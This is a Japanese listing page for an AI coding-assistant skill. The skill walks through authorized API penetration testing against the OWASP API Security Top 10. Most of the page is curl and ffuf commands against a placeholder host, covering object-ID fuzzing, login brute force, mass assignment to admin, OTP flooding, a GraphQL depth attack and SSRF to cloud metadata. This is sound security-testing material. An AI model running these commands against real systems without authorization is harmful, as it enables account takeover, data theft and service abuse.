testing-api-security-with-owasp-top-10 について
OWASP API Security Top 10(2023)に沿った、許可済み API セキュリティ評価のためのスキルです。REST、GraphQL、gRPC API のテスト手順と例を示し、エンドポイントの発見から認可や設定の確認まで扱います。
主な機能
- 01OWASP API Top 10 の評価手順
- 02エンドポイントの発見と把握
- 03認可と認証のテスト
- 04レート制限とリソース消費の確認
- 05SSRF と設定の確認
活用シーン
- 01許可を得た API ペネトレーションテストの実施
- 02デプロイ前の API セキュリティレビュー
- 03ゲートウェイ制御とレート制限の検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-api-security-with-owasp-top-10インストール後、Claude Code で/testing-api-security-with-owasp-top-10を入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
OWASP Top 10 を使用した API セキュリティテスト
使用するタイミング
- 許可を得た API ペネトレーションテストの実施中
- REST、GraphQL、または gRPC API のセキュリティ脆弱性を評価する場合
- 新しい API エンドポイントを本番環境にデプロイする前
- OWASP API Security Top 10(2023)に照らして API のセキュリティ態勢を確認する場合
- API ゲートウェイのセキュリティ制御とレート制限の有効性を検証する場合
前提条件
- 許可:テスト対象のすべての API エンドポイントを網羅した、書面によるスコープ文書
- Burp Suite Professional:API リクエストの傍受と変更に使用
- Postman:API テストコレクションの整理と実行に使用
- ffuf:API エンドポイントとパラメーターのファジングに使用
- curl/httpie:手動テスト用のコマンドライン HTTP クライアント
- API ドキュメント:Swagger/OpenAPI 仕様、GraphQL スキーマ、または API ドキュメント
- jq:API レスポンスの解析に使用する JSON プロセッサ(
apt install jq)
ワークフロー
ステップ 1:API エンドポイントを検出してマッピングする
利用可能なすべての API エンドポイントを列挙し、API の攻撃対象領域を把握します。
# If OpenAPI/Swagger spec is available, download it
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"
# Fuzz for API endpoints
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,401,403,405 \
-fc 404 \
-H "Content-Type: application/json" \
-o api-enum.json -of json
# Fuzz for API versions
for v in v1 v2 v3 v4 beta internal admin; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.target.example.com/api/$v/users")
echo "$v: $status"
done
# Check for GraphQL endpoint
for path in graphql graphiql playground query gql; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://api.target.example.com/$path")
echo "$path: $status"
done
ステップ 2:API1 - オブジェクトレベルの認可不備(BOLA)をテストする
ID を操作して、他のユーザーに属するオブジェクトにアクセスできるかどうかをテストします。
# Authenticate as User A and get their resources
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101/orders" | jq .
# Try accessing User B's resources with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/102/orders" | jq .
# Fuzz object IDs with Burp Intruder or ffuf
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
-w <(seq 1 1000) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 50
# Test IDOR with different ID formats
# Numeric: /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Encoded: /users/MTAy (base64)
ステップ 3:API2 - 認証不備をテストする
認証メカニズムの弱点を評価します。
# Test for missing authentication
curl -s "https://api.target.example.com/api/v1/users" | jq .
# Test JWT token vulnerabilities
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Test "alg: none" attack
# Header: {"alg":"none","typ":"JWT"}
# Create unsigned token with modified claims
# Test brute-force protection on login
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"FUZZ"}' \
-w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
-mc 200 -t 5 -rate 10
# Test password reset flow
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
# Check if token is in response body instead of email only
ステップ 4:API3 - オブジェクトプロパティレベルの認可不備をテストする
過剰なデータ露出と一括割り当ての脆弱性をテストします。
# Check for excessive data in responses
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101" | jq .
# Look for: password hashes, SSNs, internal IDs, admin flags, PII
# Test mass assignment - try adding admin properties
curl -s -X PUT \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Test User","role":"admin","is_admin":true}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Test with PATCH method
curl -s -X PATCH \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"role":"admin","balance":999999}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Check if filtering parameters expose more data
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .
ステップ 5:API4/API6 - レート制限と機微な処理フローへの無制限アクセスをテストする
レート制限とリソース消費制御を検証します。
# Test rate limiting on authentication endpoint
for i in $(seq 1 100); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"wrong"}' \
"https://api.target.example.com/api/v1/auth/login")
echo "Attempt $i: $status"
if [ "$status" == "429" ]; then
echo "Rate limited at attempt $i"
break
fi
done
# Test for unrestricted resource consumption
# Large pagination
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'
# GraphQL depth/complexity attack
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN_A" \
-d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
"https://api.target.example.com/graphql"
# Test SMS/email flooding via OTP endpoint
for i in $(seq 1 20); do
curl -s -X POST -H "Content-Type: application/json" \
-d '{"phone":"+1234567890"}' \
"https://api.target.example.com/api/v1/auth/send-otp"
done
ステップ 6:API5 - 機能レベルの認可不備をテストする
管理者用エンドポイントを通じた権限昇格が可能か確認します。
# Test admin endpoints with regular user token
ADMIN_ENDPOINTS=(
"/api/v1/admin/users"
"/api/v1/admin/settings"
"/api/v1/admin/logs"
"/api/v1/internal/config"
"/api/v1/users?role=admin"
"/api/v1/admin/export"
)
for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
for method in GET POST PUT DELETE; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
"https://api.target.example.com$endpoint")
if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
echo "POTENTIAL ISSUE: $method $endpoint returned $status"
fi
done
done
# Test HTTP method switching
# If GET /admin/users returns 403, try:
curl -s -X POST -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/admin/users"
ステップ 7:API7~API10 - SSRF、設定不備、インベントリ、安全でない利用をテストする
# API7: Server-Side Request Forgery
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://api.target.example.com/api/v1/fetch-url"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"webhook_url":"http://127.0.0.1:6379/"}' \
"https://api.target.example.com/api/v1/webhooks"
# API8: Security Misconfiguration
# Check CORS policy
curl -s -I -H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/v1/users" | grep -i "access-control"
# Check for verbose error messages
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": "data' \
"https://api.target.example.com/api/v1/users"
# Check security headers
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
"(x-frame|x-content|strict-transport|content-security|x-xss)"
# API9: Improper Inventory Management
# Test deprecated API versions
for v in v0 v1 v2 v3; do
curl -s -o /dev/null -w "$v: %{http_code}\n" \
"https://api.target.example.com/api/$v/users"
done
# API10: Unsafe Consumption of APIs
# Test if the API blindly trusts third-party data
# Check webhook/callback implementations for injection
重要な概念
| 概念 | 説明 |
|---|---|
| BOLA(API1) | オブジェクトレベルの認可不備:他のユーザーに属するオブジェクトへのアクセス |
| 認証不備(API2) | クレデンシャルスタッフィングやトークン操作を可能にする、脆弱な認証メカニズム |
| BOPLA(API3) | オブジェクトプロパティレベルの認可不備:過剰なデータ露出または一括割り当て |
| 無制限のリソース消費(API4) | レート制限の欠如により、DoS 攻撃やブルートフォース攻撃が可能になること |
| 機能レベルの認可不備(API5) | 一般ユーザーによる管理者レベルの API 機能へのアクセス |
| SSRF(API7) | URL を受け付ける API パラメーターを介したサーバーサイドリクエストフォージェリ |
| セキュリティ設定の不備(API8) | セキュリティヘッダーの欠如、詳細すぎるエラー、許可範囲の広い CORS |
| 不適切なインベントリ管理(API9) | 文書化されていない、非推奨の、またはシャドー API エンドポイントが公開されたままになっていること |
ツールとシステム
| ツール | 用途 |
|---|---|
| Burp Suite Professional | API の傍受、スキャン、手動テスト |
| Postman | API コレクションの管理と自動テストの実行 |
| ffuf | API エンドポイントとパラメーターのファジング |
| Kiterunner | 一般的な API パスパターンを使用した API エンドポイントの検出 |
| jwt_tool | JWT トークンの分析、操作、攻撃の自動化 |
| GraphQL Voyager | GraphQL スキーマの可視化とイントロスペクション分析 |
| Arjun | API エンドポイントの HTTP パラメーター検出 |
よくあるシナリオ
シナリオ 1:E コマース API の BOLA
ユーザー A は、/api/v1/orders/{id} の注文 ID を変更することで、ユーザー B の注文詳細にアクセスできます。この API は認証のみを確認し、オブジェクトレベルの認可は確認していません。
シナリオ 2:ユーザープロフィールの一括割り当て
ユーザー更新エンドポイントは、JSON ボディ内の role フィールドを受け付けます。プロフィール更新リクエストに "role":"admin" を追加すると、一般ユーザーが管理者権限に昇格します。
シナリオ 3:非推奨 API バージョンを利用した回避
/api/v2/users エンドポイントには適切なレート制限がありますが、現在も有効な /api/v1/users にはレート制限がありません。攻撃者は古いバージョンを使って認証情報をブルートフォースします。
シナリオ 4:GraphQL イントロスペクションによるデータ漏えい
本番環境で GraphQL イントロスペクションが有効になっており、フロントエンドでは使用されない内部クエリ、ミューテーション、機密性の高いフィールド名を含むスキーマ全体が公開されています。
出力形式
## API Security Assessment Report
**Target**: api.target.example.com
**API Type**: REST (OpenAPI 3.0)
**Assessment Date**: 2024-01-15
**OWASP API Security Top 10 (2023) Coverage**
| Risk | Status | Severity | Details |
|------|--------|----------|---------|
| API1: BOLA | VULNERABLE | Critical | /api/v1/orders/{id} - IDOR confirmed |
| API2: Broken Auth | VULNERABLE | High | No rate limit on /auth/login |
| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |
| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |
| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |
| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |
| API7: SSRF | PASS | - | URL parameters properly validated |
| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |
| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |
| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |
### Critical Finding: BOLA on Orders API
Authenticated users can access any order by iterating order IDs.
Tested range: 1-1000, 847 valid orders accessible.
PII exposure: names, addresses, payment details.